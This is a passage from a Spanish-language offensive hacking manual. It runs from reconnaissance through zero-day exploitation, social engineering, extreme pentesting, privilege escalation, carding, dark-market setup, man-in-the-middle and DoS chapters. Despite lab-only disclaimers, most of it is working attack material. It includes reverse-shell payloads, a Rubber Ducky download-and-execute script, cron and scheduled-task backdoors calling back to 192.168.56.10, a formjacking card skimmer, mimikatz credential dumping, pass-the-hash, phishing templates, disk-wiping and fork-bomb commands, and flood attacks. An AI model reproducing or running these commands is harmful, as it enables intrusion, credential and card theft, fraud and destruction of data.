masscan 192.168.56.0/24 -p1-65535 --rate=10000

💡 Ideal para redes grandes.

### Fingerprinting de Servicios

Identificar software y versiones exactas:

nmap -sV --version-all 192.168.56.101

Usar **WhatWeb** para fingerprint web:

whatweb [http://192.168.56.101](http://192.168.56.101/)

### Recolección de Subdominios

Usando sublist3r:

sublist3r -d example.com

Usando amass:

amass enum -d example.com

### Escaneo de Vulnerabilidades en Web

nikto para auditoría básica:

nikto -h [http://192.168.56.101](http://192.168.56.101/)

### Reconocimiento Subterráneo – Fuentes Filtradas

Acceder a datos expuestos en filtraciones:

 **Have I Been Pwned API**:

curl -s ["https://haveibeenpwned.com/api/v3/breachedaccount/email@example.com"](https://haveibeenpwned.com/api/v3/breachedaccount/email%40example.com) -H "hibp-api-key: TU\_API\_KEY"

 **Dehashed API**: búsqueda de usuarios y contraseñas filtradas.

### Uso de Shodan para IoT y Servicios Expuestos

Buscar servidores FTP abiertos:

shodan search "ftp anonymous"

Buscar cámaras inseguras:

shodan search "port:554 has\_screenshot:true"

### Combinación de Datos

El objetivo es consolidar toda la información:  IPs y subdominios

 Versiones de software  Puertos abiertos

 Usuarios y correos

 Posibles credenciales filtradas

### Ejercicio Práctico – Recon total de un objetivo en laboratorio

1. En Metasploitable 2 (IP 192.168.56.101):

 Ejecuta nmap -A 192.168.56.101.  Usa nikto contra el servidor web.

 Busca subdominios con sublist3r.

1. Crea un informe con toda la información.

### Seguridad del Reconocimiento

 En laboratorio, puedes ser agresivo; en entornos reales, limita velocidad y evita alertar IDS/IPS.  Nunca realices reconocimiento en sistemas sin permiso.

### Cierre

El reconocimiento no es solo el primer paso: es una fase continua. Incluso después de entrar, seguirás recopilando datos para mantener el acceso y descubrir nuevas debilidades.

💡 **TIP Black-Hat Ético:** practica el recon como si estuvieras cazando un objetivo de alto valor. Los buenos atacantes saben más del objetivo que sus propios administradores.

# Capítulo 5 – Explotación de Vulnerabilidades de Cero Días (Zero-Day)

*El arte de atacar antes de que el mundo sepa que la falla existe*

### Introducción

Una vulnerabilidad de **Cero Días** es aquella que es explotada **antes** de que el fabricante conozca su existencia y publique un parche. Esto significa que no hay defensa oficial, y que los sistemas son vulnerables “en estado puro”.

En el hacking ofensivo, los 0-day son la joya más codiciada:  Son **altamente efectivos**.

 Ofrecen **acceso privilegiado** con bajo riesgo de detección inicial.  Tienen un alto valor en mercados negros y grises.

⚠ **Advertencia**: este capítulo es únicamente para simular entornos de explotación en laboratorio. Nunca utilices vulnerabilidades 0-day reales en sistemas no autorizados.

### Ciclo de vida de un Zero-Day

1. **Descubrimiento** – Mediante fuzzing, auditoría manual, o por accidente.
2. **Explotación** – Creación de un payload que aprovecha la vulnerabilidad.
3. **Venta / Divulgación** – Publicación responsable o comercialización clandestina.
4. **Parche** – El fabricante corrige la falla.
5. **Obsolescencia** – El exploit deja de ser efectivo en sistemas actualizados.

### Técnicas para Descubrir Zero-Days en Laboratorio

##### Fuzzing (Inyección masiva de datos aleatorios)

Ejemplo con **AFL (American Fuzzy Lop)**:

sudo apt install afl

afl-fuzz -i inputs/ -o outputs/ -- ./programa @@

 **inputs/** → Carpeta con datos de prueba.

 **outputs/** → Carpeta con resultados y crashes.

##### Auditoría de Código

Buscar:

 Desbordamientos de buffer (strcpy, gets sin validación).  Inyecciones SQL sin sanitizar.

 Validaciones de entrada inexistentes.

Ejemplo de fallo potencial en C:

#include <stdio.h> #include <string.h>

void vulnerable(char \*input) { char buffer[50];

strcpy(buffer, input); // No valida tamaño printf("Entrada: %s\n", buffer);

}

int main(int argc, char \*argv[]) { vulnerable(argv[1]);

return 0;

}

### Creación de Exploits para 0-Day (Laboratorio)

Supongamos que encontramos un **desbordamiento de buffer** en un binario de prueba.

##### Paso 1: Identificar el fallo

Usar gdb:

gdb ./vulnerable

run $(python3 -c 'print("A"\*100)')

Si el programa crashea, tenemos un punto de entrada.

##### Paso 2: Encontrar el offset

pattern\_create.rb -l 200

run $(python3 -c 'print("<patrón\_generado>")') pattern\_offset.rb <valor\_EIP> 200

Paso 3: Inyectar Shellcode

Generar payload con msfvenom:

msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=192.168.56.10 LPORT=4444 -f c

Insertarlo en el exploit en C o Python.

### Simulación de un 0-Day en un Servicio Web Vulnerable

##### Escenario:

 **Objetivo**: aplicación PHP vulnerable a una función no documentada.

 **Laboratorio**: DVWA (Damn Vulnerable Web App).

##### Paso 1: Detectar endpoint oculto

gobuster dir -u [http://192.168.56.101](http://192.168.56.101/) -w /usr/share/wordlists/dirb/common.txt

Si encontramos /admin\_debug.php, lo inspeccionamos.

##### Paso 2: Exploitar la falla

Si el endpoint permite ejecutar comandos:

curl ["http://192.168.56.101/admin\_debug.php?cmd=ls+-la"](http://192.168.56.101/admin_debug.php?cmd=ls%2B-la)

### Encadenando 0-Day con Post-Explotación

Un 0-day por sí solo es poderoso, pero combinado con técnicas de **post-explotación** puede ser letal:

 **Escalada de privilegios** para convertirse en administrador/root.

 **Movimientos laterales** para comprometer toda la red.

 **Persistencia** para mantener el acceso.

### Ejemplo Completo de Laboratorio

1. Crear un binario vulnerable en C con desbordamiento.
2. Descubrir el fallo con fuzzing.
3. Escribir exploit en Python para tomar control.
4. Conectarse con netcat:

nc -lvnp 4444

1. Ejecutar exploit y obtener shell inversa.

### Defensa contra 0-Day

Aunque por definición un 0-day no tiene parche, se pueden mitigar riesgos:

 **WAFs y filtrado de entrada**.

 **Principio de mínimo privilegio**.

 **Monitorización de comportamiento anómalo**.

### Cierre

La explotación de 0-days es la cúspide del hacking ofensivo. Requiere paciencia, conocimiento profundo de programación y seguridad, y un laboratorio seguro para practicar.

💡 **TIP Black-Hat Ético:** domina la creación y análisis de exploits para entender cómo piensan los atacantes más peligrosos. Así estarás preparado para detenerlos cuando actúen en el mundo real.

# Capítulo 6 – Ataques de Ingeniería Social de Alto Impacto

*Rompiendo la seguridad técnica a través de las debilidades humanas*

### Introducción

La mayoría de los ataques exitosos en ciberseguridad **no comienzan con código malicioso ni con un**

**exploit sofisticado**, sino con algo mucho más simple: la manipulación de personas. La **ingeniería social** explota el eslabón más débil de cualquier sistema: el factor humano. No importa qué tan blindada esté una infraestructura si un empleado o usuario final puede ser persuadido para abrir la puerta desde dentro.

En este capítulo aprenderás a diseñar, ejecutar y evaluar **campañas de ingeniería social de alto impacto** en un laboratorio, simulando técnicas que los atacantes reales usan para engañar, manipular y extraer información valiosa.

⚠ **Advertencia ética:** nunca ejecutes ataques de ingeniería social fuera de un entorno controlado con el consentimiento expreso de las personas involucradas.

### Principios de la Ingeniería Social

 **Confianza**: el atacante se hace pasar por una fuente legítima.

 **Urgencia**: la víctima siente que debe actuar rápido.

 **Autoridad**: el atacante se presenta como una figura de poder.

 **Reciprocidad**: ofrecer algo a cambio de colaboración.

 **Curiosidad**: explotar el deseo de saber más.

### Tipos Comunes de Ataques

**Tipo Descripción Ejemplo**

**Phishing** Correos falsos que imitan fuentes legítimas. Email de “banco” solicitando

credenciales.

**Vishing** Llamadas telefónicas fraudulentas. Falsa llamada de soporte técnico.

**Smishing** Mensajes SMS engañosos. Enlace falso para “entrega de paquete”.

**Pretexting** Inventar una historia para obtener información. Hacerse pasar por empleado de IT.

**Baiting** Dejar dispositivos infectados para que la víctima los use.

Pendrive con malware en estacionamiento.

### Montando un Laboratorio de Ingeniería Social

 **Servidor de correos** para enviar campañas simuladas (GoPhish).

 **Sitio web clonado** para captura de credenciales (setoolkit).

 **Teléfono IP** o softphone para simular llamadas.

 **Mensajería** con plataformas privadas para smishing controlado.

### Ejemplo 1 – Campaña de Phishing Controlado

##### Paso 1: Instalar GoPhish

wget https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0- linux-64bit.zip

unzip gophish-v0.11.0-linux-64bit.zip cd gophish && ./gophish

Accede a https://localhost:3333 y crea una campaña.

##### Paso 2: Clonar un sitio legítimo

Con HTTrack:

httrack https://example.com -O /var/www/html/example

##### Paso 3: Enviar emails

Diseña un correo convincente:

Asunto: Actualización obligatoria de seguridad

Estimado usuario, detectamos actividad sospechosa en su cuenta. Por favor, valide su identidad aquí: [enlace falso]

### Ejemplo 2 – Vishing (Simulación Telefónica)

Usando Asterisk en laboratorio:

sudo apt install asterisk sudo asterisk -rvvv

Configura un script que llame a la víctima y reproduzca un mensaje grabado solicitando verificación de cuenta.

### Ejemplo 3 – Smishing

Usando una API de SMS (Twilio en modo sandbox):

from twilio.rest import Client

account\_sid = 'ACxxxxxxxxxxxxxxxx' auth\_token = 'xxxxxxxxxxxxxxxx'

client = Client(account\_sid, auth\_token)

message = client.messages.create(

body="Su paquete está retenido. Confirme aquí: [http://lab-phish.local"](http://lab-phish.local/), from\_='+15017122661',

to='+5491112345678'

)

### Ejemplo 4 – Baiting con Dispositivo USB

* + 1. Configurar un payload en un USB con Rubber Ducky o Malduino.
    2. Dejarlo en un área controlada.
    3. Observar el comportamiento de la víctima. Ejemplo de script para Rubber Ducky:

DELAY 2000

STRING powershell -nop -w hidden -c "IEX(New-Object

[Net.WebClient).DownloadString('http://192.168.56.10/payload.ps1')"](http://192.168.56.10/payload.ps1%27)) ENTER

### Ejemplo 5 – Pretexting Avanzado

Combina OSINT para construir un perfil falso:

 Foto de perfil generada en [thispersondoesnotexist.com](https://thispersondoesnotexist.com/)  Cuentas falsas en redes sociales.

 Historia coherente y creíble para interactuar con la víctima.

### Medidas Defensivas

 Capacitación en concientización de seguridad.  Simulaciones periódicas de phishing.

 Políticas de verificación de identidad por múltiples canales.  Filtros de spam y bloqueo de adjuntos peligrosos.

### Ejercicio Práctico – Simulación Completa

* + 1. Lanza una campaña de phishing controlada contra usuarios de laboratorio.
    2. Incluye un portal falso que capture credenciales.
    3. Registra cuántas personas caen y mide el tiempo de respuesta.
    4. Presenta un reporte de hallazgos y recomendaciones.

### Cierre

La ingeniería social es el arma más poderosa en manos de un atacante porque **no necesita vulnerar sistemas**, sino personas. Practicarla en laboratorio te dará la experiencia necesaria para detectarla y bloquearla en el mundo real.

💡 **TIP Black-Hat Ético:** trata cada interacción humana como un potencial vector de ataque, pero siempre bajo las reglas del juego limpio y con consentimiento informado.

# Capítulo 7 – Pentesting Extremo

*Llevando las pruebas de penetración al límite en entornos controlados*

### Introducción

El **Pentesting Extremo** no es una auditoría común. Aquí no buscamos solo encontrar vulnerabilidades, sino **romper** el entorno de pruebas para simular ataques del mundo real que serían devastadores si se ejecutaran en un sistema productivo. A diferencia de un pentest tradicional, en el extremo:

 **No hay limitaciones de intensidad** (en laboratorio).  Se prueban ataques destructivos.

 Se combinan múltiples vectores para lograr compromisos totales.

⚠ Importante: esto **solo** se hace en entornos de laboratorio o con autorización explícita, porque puede causar pérdida completa de datos y caída de servicios.

### Metodología de Pentesting Extremo

La metodología que seguiremos es una versión “sin filtros” de **PTES (Penetration Testing Execution Standard)**:

* + 1. **Reconocimiento agresivo**
    2. **Explotación encadenada**
    3. **Escalada de privilegios creativa**
    4. **Movimiento lateral masivo**
    5. **Persistencia multi-capa**
    6. **Ataques destructivos opcionales**

### Configuración de Laboratorio

 **Víctimas**: 1 Windows Server 2012, 1 Ubuntu Server con servicios web y 1 Metasploitable 2.

 **Atacante**: Kali Linux con metasploit, crackmapexec, hydra, impacket, bloodhound.

 **Red**: Host-Only con subred 192.168.56.0/24.

### Reconocimiento Agresivo

Ejecuta **escaneos simultáneos** y masivos con masscan y nmap:

masscan 192.168.56.0/24 -p1-65535 --rate=5000 nmap -A -T5 192.168.56.101,192.168.56.102

💡 El uso combinado permite detección rápida y luego escaneo detallado.

### Explotación Encadenada

##### Ejemplo: Windows SMBv1 + Linux Web App Vulnerable

* + 1. **Windows Server** – Exploitar SMBv1 (EternalBlue simulado):

use exploit/windows/smb/ms17\_010\_eternalblue set RHOSTS 192.168.56.101

set PAYLOAD windows/meterpreter/reverse\_tcp set LHOST 192.168.56.10

exploit

* + 1. **Linux Server** – Exploitar SQLi para obtener shell:

sqlmap -u ["http://192.168.56.102/product.php?id=1"](http://192.168.56.102/product.php?id=1) --dbs --os-shell

### Escalada de Privilegios Creativa

En Windows con mimikatz:

privilege::debug

sekurlsa::logonpasswords

En Linux con linpeas:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh && ./linpeas.sh

### Movimiento Lateral Masivo

Con crackmapexec:

crackmapexec smb 192.168.56.0/24 -u admin -p 'Password123!'

Con psexec.py de Impacket:

psexec.py [administrator@192.168.56.102](mailto:administrator@192.168.56.102) cmd.exe

### Persistencia Multi-Capa

 **Windows**:

**Linux**:

schtasks /create /sc minute /mo 30 /tn "Backdoor" /tr "powershell -nop -w hidden - c IEX(New-Object [Net.WebClient).DownloadString('http://192.168.56.10/back.ps1')"](http://192.168.56.10/back.ps1%27))

echo "\* \* \* \* \* /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.10/4444 0>&1'" >>

/etc/crontab

### Ataques Destructivos en Laboratorio

##### Borrado de Datos (Windows)

Remove-Item C:\\* -Recurse -Force

Sobrecarga de CPU (Linux)

:(){ :|:& };:

💡 Estos comandos son **solo para pruebas en laboratorio**.

### Ejercicio Práctico Completo

* + 1. Escanea toda la red con masscan y nmap.
    2. Explotar SMBv1 en Windows y SQLi en Linux.
    3. Escalar privilegios en ambos sistemas.
    4. Movilizarse lateralmente y comprometer todos los nodos.
    5. Implementar persistencia en ambos sistemas.
    6. (Opcional) Ejecutar ataque destructivo controlado.

### Cierre

El Pentesting Extremo es un entrenamiento de élite para cualquier profesional de la ciberseguridad. Enseña a pensar como un atacante sin restricciones, pero también obliga a desarrollar defensas sólidas contra ataques implacables.

💡 **TIP Black-Hat Ético:** cuanto más extremo sea tu laboratorio, más preparado estarás para enfrentar ataques reales.

# Capítulo 8 – Escalada de Privilegios Creativa

*Transformando accesos limitados en control absoluto del sistema*

### Introducción

La **escalada de privilegios** es el proceso de pasar de un usuario con permisos limitados a uno con privilegios elevados (administrador o root). En un pentest real, es el momento en que un atacante deja de estar “dentro” para convertirse en **dueño total** del sistema.

En este capítulo aprenderás **técnicas creativas** para escalar privilegios en entornos Windows, Linux y mixtos, usando herramientas estándar, scripts caseros y vectores poco comunes.

⚠ Todo lo que sigue **debe ejecutarse exclusivamente en laboratorio o con autorización expresa**.

### Tipos de Escalada

**Tipo Descripción**

**Vertical** Obtener más privilegios en la misma máquina.

**Horizontal** Acceder a cuentas con permisos similares pero en otros sistemas.

**Mixta** Combinar movimiento lateral y escalada vertical.

### Escalada en Windows

##### Detección de vulnerabilidades locales

Usar **WinPEAS**:

powershell -c "iwr -uri https://github.com/carlospolop/PEASS-

ng/releases/latest/download/winPEASx64.exe -OutFile winpeas.exe"

.\winpeas.exe

##### Uso de credenciales en memoria

Con **Mimikatz**:

privilege::debug

sekurlsa::logonpasswords

##### Abuso de servicios mal configurados

Si un servicio se ejecuta como SYSTEM pero permite modificar su ejecutable:

sc stop ServicioVulnerable

sc config ServicioVulnerable binPath= "C:\Windows\System32\cmd.exe /c calc.exe" sc start ServicioVulnerable

##### Escalada por DLL Hijacking

* + - 1. Encontrar rutas de DLL no seguras (procmon).
      2. Colocar una DLL maliciosa en la ruta cargada por el proceso.

### Escalada en Linux

##### Enumeración inicial

Usar **LinPEAS**:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh

./linpeas.sh

##### Abuso de sudo mal configurado

Si el usuario puede ejecutar un comando como root sin contraseña:

sudo vim -c ':!bash'

Esto abre una shell como root.

##### Explotación de SUID

Buscar binarios SUID:

find / -perm -4000 2>/dev/null

Ejecutar con escalada, por ejemplo con nmap:

nmap --interactive nmap> !sh

##### Kernel Exploits

Usar **searchsploit** para encontrar exploits locales:

uname -a

searchsploit linux kernel 3.13

Compilar y ejecutar el exploit.

### Escalada en entornos mixtos

##### Pivoting con credenciales

Usar **CrackMapExec** para probar credenciales robadas en toda la red:

crackmapexec smb 192.168.56.0/24 -u admin -p 'Password123!'

##### Pass-the-Hash

Con **pth-winexe**:

pth-winexe -U 'Administrator%aad3b435b51404eeaad3b435b51404ee:hash'

//192.168.56.101 cmd

### Creatividad en la Escalada

 **Abusar de software corporativo** que no valida entradas.

 **Ingeniería social interna** para obtener credenciales de administradores.

 **Encadenar vulnerabilidades menores** para lograr un compromiso mayor.

### Ejercicio Práctico Completo

1. Comprometer un usuario básico en Windows y Linux.
2. Enumerar el sistema con winpeas o linpeas.
3. Detectar y explotar un servicio mal configurado.
4. Robar credenciales y pivotar a otro sistema.
5. Ejecutar escalada en el segundo sistema.

### Medidas Defensivas

 Deshabilitar SUID innecesarios en Linux.  Configurar sudo con mínimo privilegio.

 Proteger credenciales en memoria (LSA Protection).

 Aplicar parches de seguridad del kernel y aplicaciones.

### Cierre

La escalada de privilegios es la diferencia entre ser un intruso y ser un **dueño absoluto** del sistema. La creatividad y la combinación de técnicas son lo que separa a un pentester promedio de uno de élite.

💡 **TIP Black-Hat Ético:** siempre documenta cada paso y su impacto. La escalada no es solo para atacar, sino para demostrar a las organizaciones el alcance real de una brecha.

# Capítulo 9 – Carding: Anatomía y Simulación en Laboratorio

*Destripando el fraude con tarjetas para comprenderlo y prevenirlo*

### Introducción

El **Carding** es la práctica de obtener, clonar y utilizar de forma ilícita información de tarjetas de crédito/débito para realizar compras o transacciones. Aunque es ilegal en el mundo real, entender su funcionamiento en un laboratorio controlado es fundamental para:

 Detectar patrones de fraude.

 Implementar medidas antifraude efectivas.

 Entrenar a analistas de ciberseguridad en respuesta ante incidentes financieros.

⚠ Este capítulo **NO** enseña a cometer delitos. Todos los ejemplos se realizarán con tarjetas simuladas generadas para pruebas.

### Anatomía de una Tarjeta

**Elemento Descripción**

**PAN** (Primary Account Number) Número de 16 dígitos que identifica al emisor y cuenta.

**BIN** (Bank Identification Number) Primeros 6 dígitos que indican el banco emisor.

**Fecha de vencimiento** Mes y año de caducidad.

**CVV/CVC** Código de seguridad de 3 o 4 dígitos.

**Pista magnética** Contiene datos cifrados de la tarjeta (Track 1 y Track 2).

**Chip EMV** Microchip que almacena y cifra datos de la transacción.

### Generación de Datos Simulados

Para entrenar detección de fraude se usan tarjetas de prueba provistas por las redes de pago: Ejemplo – Visa y MasterCard de prueba:

Visa: 4111 1111 1111 1111 | 12/25 | 123

MasterCard: 5555 5555 5555 4444 | 11/26 | 456

Estas **no** funcionan en entornos reales, solo en pasarelas de prueba.

### Escenario de Laboratorio

 **Servidor web vulnerable** con formulario de pago.  **Sniffer** (Wireshark) para capturar datos en tránsito.  **Base de datos simulada** con tarjetas cifradas.

 **Herramientas**: pcap de tráfico, scripts de extracción y validación.

### Skimming en Laboratorio

##### Skimmer físico simulado

En laboratorio, un **lector USB de tarjetas** puede configurarse para capturar datos magnéticos simulados:

sudo apt install libmagstripe-tools magread /dev/usb/lp0

##### Skimming web (formjacking)

Script malicioso inyectado en un formulario vulnerable:

document.getElementById("card").addEventListener("input", function() { fetch(["http://192.168.56.10/collect"](http://192.168.56.10/collect), {

method: "POST",

body: JSON.stringify({card:this.value})

});

});

### Captura en Tránsito (Man-in-the-Middle)

Usar mitmproxy:

mitmproxy --listen-port 8080

Configurar la víctima para usar este proxy y capturar datos enviados sin cifrado.

### Validación de BIN y Luhn Check

Script Python para validar un número de tarjeta simulado:

def luhn\_checksum(card\_number): def digits\_of(n):

return [int(d) for d in str(n)] digits = digits\_of(card\_number)

odd = digits[-1::-2]

even = digits[-2::-2] checksum = sum(odd) for d in even:

checksum += sum(digits\_of(d\*2)) return checksum % 10

def is\_valid(card\_number):

return luhn\_checksum(card\_number) == 0 print(is\_valid("4111111111111111"))

### Clonación Simulada

En laboratorio se pueden duplicar datos simulados de tarjeta en un **emulador de banda magnética**:

msr605 write "B4111111111111111^TEST/USER^25121010000000000000?"

### Uso Fraudulento Simulado

En una pasarela de pago de prueba (sandbox):

curl -X POST https://sandbox.paymentgateway.com/pay \

-H "Content-Type: application/json" \

-d '{"card":"4111111111111111","exp":"12/25","cvv":"123","amount":"100.00"}'

### Detección y Prevención

 **Tokenización**: reemplazar datos reales por identificadores únicos.

 **3D Secure**: autenticación adicional (OTP, app bancaria).

 **Análisis de comportamiento**: detectar compras inusuales.

 **Cifrado extremo a extremo** en transacciones.

### Ejercicio Práctico Completo

1. Montar un servidor de pagos ficticio en laboratorio.
2. Enviar transacciones de prueba.
3. Capturar datos con mitmproxy.
4. Validar números con script Luhn.
5. Probar detección y bloqueo.

### Cierre

El carding es una amenaza real para usuarios y bancos. Comprender su mecánica en laboratorio permite diseñar defensas que frustren a atacantes antes de que roben un centavo.

💡 **TIP Black-Hat Ético:** si puedes replicar el fraude en pruebas, puedes anticiparlo y bloquearlo en el mundo real.

# Capítulo 10 – Mercados Negros y Transacciones Anónimas

*Cómo operan las economías clandestinas digitales y cómo simularlas en un entorno seguro*

### Introducción

Los **mercados negros digitales** son plataformas donde se comercian bienes y servicios ilícitos: datos robados, exploits, malware, documentos falsos, cuentas comprometidas, drogas, armas y mucho más. En el

mundo real operan en la **Dark Web**, usando criptomonedas y mecanismos de anonimato extremo para proteger la identidad de vendedores y compradores.

En este capítulo aprenderás a:

 Entender la estructura y funcionamiento de un mercado negro online.  Simular uno en laboratorio para fines educativos y de análisis forense.  Realizar transacciones anónimas con monedas de prueba.

 Analizar riesgos y trazabilidad.

⚠ **Advertencia ética:** nunca accedas ni participes en mercados reales. Todo lo que veremos aquí se hará en entornos simulados.

### Componentes de un Mercado Negro Digital

**Componente Descripción**

**Front-end oculto** Sitio accesible vía Tor o I2P.

**Sistema de usuarios** Registro con alias y claves PGP.

**Catálogo** Listados de productos/servicios con descripciones y precios.

**Pasarela de pago** Generalmente criptomonedas (Bitcoin, Monero).

**Sistema de escrow** Depósito en garantía que libera fondos al completar la transacción.

**Sistema de reputación** Puntuación de vendedores y compradores.

### Simulación de un Mercado Negro en Laboratorio

Crearemos un mercado ficticio accesible solo dentro de una red privada.

Paso 1: Montar un servidor web

sudo apt install apache2 php mysql-server

Paso 2: Crear base de datos simulada

CREATE DATABASE blackmarket; USE blackmarket;

CREATE TABLE products (

id INT PRIMARY KEY AUTO\_INCREMENT, name VARCHAR(255),

description TEXT,

price DECIMAL(10,2),

currency VARCHAR(10)

);

INSERT INTO products (name,description,price,currency) VALUES

('Exploit Demo', 'Vulnerabilidad simulada para entrenamiento', 50.00, 'tBTC');

Paso 3: Interfaz básica

Usar HTML/PHP para listar productos en [http://mercado.local.](http://mercado.local/)

### Acceso a través de Tor

Para simular el acceso oculto:

sudo apt install tor

sudo nano /etc/tor/torrc

Agregar:

HiddenServiceDir /var/lib/tor/hidden\_service/ HiddenServicePort 80 127.0.0.1:80

Reiniciar Tor:

sudo systemctl restart tor

El archivo /var/lib/tor/hidden\_service/hostname mostrará la URL .onion interna.

### Transacciones con Criptomonedas de Prueba

Usaremos Bitcoin Testnet:

bitcoin-cli -testnet getnewaddress

bitcoin-cli -testnet sendtoaddress <destino> 0.001

En vez de dinero real, todas las monedas en Testnet son gratuitas y sin valor.

### Uso de Monero en Laboratorio

Monero ofrece privacidad superior. Instalar Monero CLI:

sudo apt install monero monerod --stagenet

Generar wallet:

monero-wallet-cli --stagenet

### Sistema de Escrow Simulado

Podemos implementar un escrow básico en PHP:

<?php

// Pseudo-código

if($buyer\_confirms){

releaseFunds($seller\_wallet);

} else {

refundBuyer();

}

?>

### Seguridad del Mercado

 Cifrar comunicaciones con HTTPS interno.  Autenticación PGP para mensajes.

 Backups encriptados.

 Logs mínimos para evitar rastreo.

### Análisis Forense de un Mercado Negro Simulado

Con herramientas como **FTK Imager** o **Autopsy** podemos:  Analizar bases de datos para identificar vendedores.

 Rastrear wallets de prueba en blockchain explorers de Testnet.

 Correlacionar tiempos de conexión con actividades sospechosas.

### Ejercicio Práctico Completo

* + 1. Montar servidor web y base de datos con catálogo de prueba.
    2. Configurar acceso .onion con Tor.
    3. Realizar una compra con Bitcoin Testnet o Monero stagenet.
    4. Analizar transacciones en el explorador de blockchain.
    5. Emitir un reporte de actividad.

### Riesgos Reales y Contramedidas

 **Riesgo**: infiltración policial. **Mitigación**: entornos cerrados para entrenamiento.

 **Riesgo**: malware en archivos descargados. **Mitigación**: sandbox y escaneo antes de abrir.

 **Riesgo**: pérdida de fondos por estafa. **Mitigación**: sistema de escrow confiable.

### Cierre

Entender cómo operan los mercados negros y cómo se ocultan transacciones es vital para investigadores, analistas de fraude y fuerzas de seguridad. Simularlos de forma controlada permite anticipar tácticas y trazar estrategias de defensa.

💡 **TIP Black-Hat Ético:** si puedes replicar la logística del enemigo, podrás destruirla antes de que cause daño real.

# Capítulo 11 – Hombre en el Medio (MitM) al Límite

*Interceptando, manipulando y explotando el tráfico como un depredador digital invisible*

### Introducción

El ataque **Man-in-the-Middle** (MitM) es una de las técnicas más versátiles y peligrosas en el arsenal de un hacker ofensivo. Consiste en colocarse entre dos partes que se comunican para **escuchar, registrar,**

**modificar o inyectar datos** sin que ninguna de las partes lo note. En este capítulo aprenderás a:

 Configurar entornos de laboratorio para MitM.

 Usar herramientas como ettercap, mitmproxy y Bettercap.  Interceptar tráfico cifrado con técnicas de downgrade.

 Manipular datos en vivo.

 Capturar credenciales, inyectar scripts y modificar descargas.

⚠ Todo debe realizarse **únicamente** en entornos controlados.

### Tipos de MitM

**Tipo Descripción Ejemplo**

**ARP**

**Spoofing**

Engañar a una LAN para que envíe tráfico a tu máquina.

Ettercap interceptando todo el tráfico de la red.

**Tipo Descripción Ejemplo**

**DNS**

**Spoofing**

Responder con direcciones falsas a consultas DNS.

Redirigir facebook.com a un servidor falso.

**HTTP**

**Injection**

Modificar tráfico HTTP para inyectar código. Insertar un script malicioso en una página

legítima.

**SSL Strip** Downgradear HTTPS a HTTP. Robo de credenciales en sitios que no

fuerzan HTTPS.

### Montando el Laboratorio

 **Red interna**: adaptador Host-Only con IPs 192.168.56.0/24.

 **Máquina víctima**: Windows 10 o Ubuntu Desktop.

 **Máquina atacante**: Kali Linux con ettercap, bettercap, mitmproxy.

### ARP Spoofing con Ettercap

##### Instalación:

sudo apt install ettercap-graphical

Ejecución:

sudo ettercap -G

* + 1. Seleccionar interfaz de red.
    2. Escanear hosts.
    3. Añadir víctima 1 (IP del objetivo).
    4. Añadir víctima 2 (IP del gateway).
    5. Iniciar en modo ARP poisoning.

💡 Esto redirige el tráfico de la víctima hacia ti.

### DNS Spoofing

En Ettercap, editar /etc/ettercap/etter.dns:

facebook.com A 192.168.56.10

Esto hará que cualquier intento de abrir facebook.com vaya a tu servidor falso.

### Manipulación de HTTP

Con Bettercap:

sudo bettercap -iface eth0

set http.proxy.script inject.js set http.proxy.injectjs true

http.proxy on

Ejemplo de inject.js:

document.body.innerHTML += "<h1>Interceptado por el laboratorio</h1>";

### SSL Strip – Downgrade de HTTPS

Con sslstrip:

sudo apt install sslstrip sudo sslstrip -l 8080

Redirigir tráfico con iptables:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to- port 8080

### Intercepción con mitmproxy

mitmproxy --mode transparent --listen-port 8080

Esto permite:

 Ver tráfico HTTP/HTTPS.  Editar respuestas.

 Guardar sesiones para análisis.

### Inyección de Scripts en Descargas

Con Bettercap:

set http.proxy.replace.body from="</body>" to="<script>alert('Interceptado');

</script></body>"

Esto inserta código malicioso en cualquier página antes de enviarla a la víctima.

### Captura de Credenciales

Con ARP Spoofing y urlsnarf:

sudo urlsnarf -i eth0

Esto muestra las peticiones HTTP que contienen datos de login.

### Ejercicio Práctico Completo

* + 1. Configurar laboratorio con víctima, gateway y atacante.
    2. Ejecutar ARP Spoofing y verificar tráfico interceptado.
    3. Redirigir un dominio a servidor falso con DNS Spoofing.
    4. Inyectar un script en una página legítima.
    5. Capturar credenciales en un login no cifrado.
    6. Analizar logs para detectar patrones.

### Detección y Contramedidas

 **ARP Inspection** para evitar spoofing.

 **DNSSEC** para proteger resoluciones DNS.  Uso obligatorio de **HTTPS con HSTS**.

 Monitoreo de certificados no autorizados.

### Cierre

El MitM extremo es una de las formas más potentes de control sobre una red. Bien usado en laboratorio, te permitirá entender cómo interceptar y manipular tráfico… y, más importante, cómo detectarlo y bloquearlo en producción.

💡 **TIP Black-Hat Ético:** si aprendes a interceptar, también aprendes a blindar. La defensa empieza por dominar el ataque.

# Capítulo 12 – DoS y DDoS de Nivel Militar

*Cómo saturar sistemas al punto de dejarlos sin aliento… y cómo defenderse de ello*

### Introducción

Los ataques **DoS (Denial of Service)** y **DDoS (Distributed Denial of Service)** son operaciones diseñadas para **interrumpir o degradar severamente** la disponibilidad de un servicio. En un DoS, un único sistema envía tráfico o peticiones masivas; en un DDoS, **múltiples sistemas distribuidos** lo hacen simultáneamente, convirtiendo la defensa en un desafío enorme.

En este capítulo veremos:

 Cómo funcionan los ataques DoS y DDoS.

 Técnicas y herramientas para ejecutarlos en laboratorio.  Métodos para medir impacto.

 Estrategias defensivas reales.

⚠ Nunca realices un DoS/DDoS contra sistemas sin autorización. Las simulaciones aquí son

**únicamente** para entornos controlados.

### Clasificación de Ataques

|  |  |  |
| --- | --- | --- |
| **Tipo** | **Descripción** | **Ejemplo** |
| **Volumétrico** | Satura el ancho de banda. | UDP flood, ICMP flood. |
| **Protocolo** | Explota debilidades en capas de red/transporte. | SYN flood, Ping of Death. |
| **Aplicación** | Saturar recursos específicos del servicio. | HTTP flood, Slowloris. |

* 1. Laboratorio de Pruebas

 **Víctima**: Servidor web Apache en 192.168.56.101.

 **Atacante**: Kali Linux con hping3, slowloris, LOIC (Low Orbit Ion Cannon).

 **Red**: Host-Only para no afectar redes externas.

### Ataques Volumétricos

##### UDP Flood con hping3

sudo hping3 --flood --rand-source --udp -p 80 192.168.56.101

 --flood: envía paquetes lo más rápido posible.

